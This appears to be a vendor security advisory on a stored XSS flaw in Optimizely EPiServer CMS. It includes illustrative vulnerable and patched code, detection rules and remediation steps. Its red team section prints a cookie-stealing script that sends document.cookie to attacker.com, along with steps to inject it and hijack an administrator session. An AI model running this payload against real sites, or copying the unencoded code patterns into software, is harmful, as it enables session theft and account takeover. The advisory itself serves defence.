CVE-2025-22388

Executive Summary

CVE-2025-22388 is a high-severity Stored Cross-Site Scripting (XSS) vulnerability in Optimizely EPiServer.CMS.Core versions prior to 12.22.0. This vulnerability allows an authenticated attacker with content editing privileges to inject malicious JavaScript into multiple areas of the CMS, including content editing, link management, and file uploads. When other users (including administrators) view the compromised content, the injected script executes in their browser context, potentially leading to session hijacking, data exfiltration, privilege escalation, or unauthorized actions. The vulnerability is currently unpatched in older versions, and no public proof-of-concept or exploit code is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for organizations using affected versions.

Supply Chain & Package Security

This vulnerability affects the EPiServer.CMS.Core NuGet package, which is a core component of the Optimizely CMS ecosystem. Organizations using this package should verify their version and apply the patch immediately. The package is distributed via NuGet, and the fix is available in version 12.22.0. No known compromises of the package supply chain have been reported.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description and impact, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs content editing privileges.
• User Interaction (UI): Required (R) – A victim must view the compromised content.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Potential for data exfiltration.
• Integrity (I): High (H) – Potential for unauthorized actions.
• Availability (A): Low (L) – Limited impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.0 (High)

Threat Level: High. The vulnerability allows for stored XSS, which can lead to complete compromise of user sessions and data within the CMS.

Deep Dive & Mechanics

The vulnerability is a Stored Cross-Site Scripting (XSS) flaw in multiple input handling points within the Optimizely EPiServer CMS. The core issue is that user-supplied data, such as content fields, link URLs, and file metadata, is not properly sanitized or encoded before being stored and later rendered in the browser.

Affected Areas:

1. Content Editing: When an attacker creates or edits a content item (e.g., a page or block), they can inject malicious JavaScript into fields like the title, body, or custom properties. This script is stored in the database and executed when any user views that content.
2. Link Management: The link management interface allows users to create and edit hyperlinks. An attacker can inject JavaScript into the href attribute or other link parameters, leading to XSS when a user clicks the link.
3. File Uploads: During file uploads, metadata such as the file name or description can be manipulated to include malicious scripts. When the file is accessed or its metadata is displayed, the script executes.

Attack Flow:

1. Reconnaissance: The attacker identifies an Optimizely CMS instance and obtains low-privilege content editor credentials (e.g., via phishing or credential stuffing).
2. Injection: The attacker logs in and navigates to a content editing page. They inject a payload like <script>alert('XSS')</script> into a vulnerable field and save the content.
3. Trigger: An administrator or other user views the compromised content. The browser executes the injected script.
4. Exploitation: The script can steal session cookies, redirect the user to a malicious site, perform actions on behalf of the user (e.g., creating a new admin account), or exfiltrate sensitive data.

Root Cause: The application fails to apply proper output encoding or input validation for user-controlled data that is later rendered in HTML contexts. This is a classic CWE-79 vulnerability.

Vulnerable vs. Patched Code

The following examples illustrate the vulnerable and patched code patterns. These are representative examples based on common XSS vulnerabilities in CMS systems.

Vulnerable Code (C# - Razor View):

@{
    var userContent = Model.Content; // User-supplied content from database
}
<div>
    @Html.Raw(userContent) // Directly renders raw HTML without encoding
</div>

Patched Code (C# - Razor View):

@{
    var userContent = Model.Content; // User-supplied content from database
}
<div>
    @Html.Encode(userContent) // Encodes HTML entities before rendering
</div>

Vulnerable Code (Link Management):

string linkUrl = Request.Form["linkUrl"]; // User-supplied URL
string linkHtml = $"<a href='{linkUrl}'>Click here</a>"; // Direct concatenation
Response.Write(linkHtml);

Patched Code (Link Management):

string linkUrl = Request.Form["linkUrl"]; // User-supplied URL
string sanitizedUrl = System.Web.Security.AntiXss.AntiXssEncoder.HtmlAttributeEncode(linkUrl);
string linkHtml = $"<a href='{sanitizedUrl}'>Click here</a>";
Response.Write(linkHtml);

Vulnerable Code (File Upload Metadata):

string fileName = Path.GetFileName(Request.Files[0].FileName); // User-supplied file name
string displayHtml = $"<span>{fileName}</span>"; // Direct rendering
Response.Write(displayHtml);

Patched Code (File Upload Metadata):

string fileName = Path.GetFileName(Request.Files[0].FileName);
string encodedFileName = HttpUtility.HtmlEncode(fileName);
string displayHtml = $"<span>{encodedFileName}</span>";
Response.Write(displayHtml);

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to an Optimizely CMS instance (version < 12.22.0).
• Valid credentials for a user with content editing privileges.

Step 1: Reconnaissance Identify the CMS version by checking the HTTP response headers or specific paths (e.g., /EPiServer/CMS/).

Step 2: Craft Payload Create a JavaScript payload to steal session cookies:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Step 3: Inject Payload Log in to the CMS and navigate to a content editing page. Inject the payload into a vulnerable field (e.g., the page title or body). Save the content.

Step 4: Trigger and Exfiltrate Wait for an administrator to view the compromised content. The script will execute and send the session cookie to the attacker's server.

Step 5: Privilege Escalation Use the stolen admin session cookie to impersonate the administrator and create a new admin account or perform other unauthorized actions.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual JavaScript in content fields, link URLs, and file metadata.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

• Immediately isolate the affected CMS instance.
• Review logs for unauthorized content modifications.
• Reset all user sessions and force password changes.
• Apply the patch by upgrading to version 12.22.0 or later.

Prevention:

• Enforce strict input validation and output encoding for all user-supplied data.
• Conduct regular security code reviews and penetration testing.
• Implement a bug bounty program to identify vulnerabilities early.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown or suspicious domains containing cookie= or document.cookie in the query string.
• Unusual POST requests to /EPiServer/CMS/ endpoints with JavaScript payloads in form fields.

Host IOCs:

• Presence of <script> tags in CMS database fields (e.g., tblPage, tblBlock).
• Modified content items with unexpected JavaScript code.
• New user accounts created by non-admin users.

File IOCs:

• Uploaded files with names containing JavaScript code (e.g., file<script>alert(1)</script>.txt).

Log IOCs:

• Repeated failed login attempts followed by successful login from a single IP.
• Log entries showing content modifications by users who normally do not edit content.

Detection Engineering

YARA Rule

rule CVE_2025_22388_Stored_XSS_Optimizely {
    meta:
        description = "Detects stored XSS payloads in Optimizely CMS content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22388"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss_payload_3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Optimizely CMS Content
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in Optimizely CMS content fields
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22388
logsource:
    product: windows
    service: application
    category: web_application
detection:
    selection:
        EventID: 4663
        ObjectName: '*EPiServer*'
        AccessMask: '%%4417'  # Write access
    keywords:
        - '<script>'
        - 'javascript:'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22388 - Stored XSS in Optimizely CMS"; flow:to_server,established; content:"POST"; http_method; content:"/EPiServer/CMS/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the EPiServer.CMS.Core NuGet package to version 12.22.0 or later. This is the only official patch.
2. WAF Rules: Deploy Web Application Firewall rules to block common XSS payloads in POST requests to CMS endpoints.
3. CSP Headers: Implement a strict Content Security Policy (CSP) that disallows inline scripts and only allows scripts from trusted sources.

Long-Term Measures:

1. Input Validation: Implement server-side validation for all user inputs, rejecting or sanitizing any HTML or JavaScript.
2. Output Encoding: Use context-aware output encoding (e.g., HTML entity encoding, JavaScript encoding) for all user-supplied data.
3. Security Training: Train developers on secure coding practices, especially regarding XSS prevention.
4. Regular Audits: Conduct regular security audits and penetration testing of the CMS.

Workaround (if patching is not immediately possible):

• Disable content editing for untrusted users.
• Manually review and sanitize all content before publishing.
• Use a reverse proxy to inspect and filter HTTP requests.

Report generated by Valters IT DevSecOps & CTI Division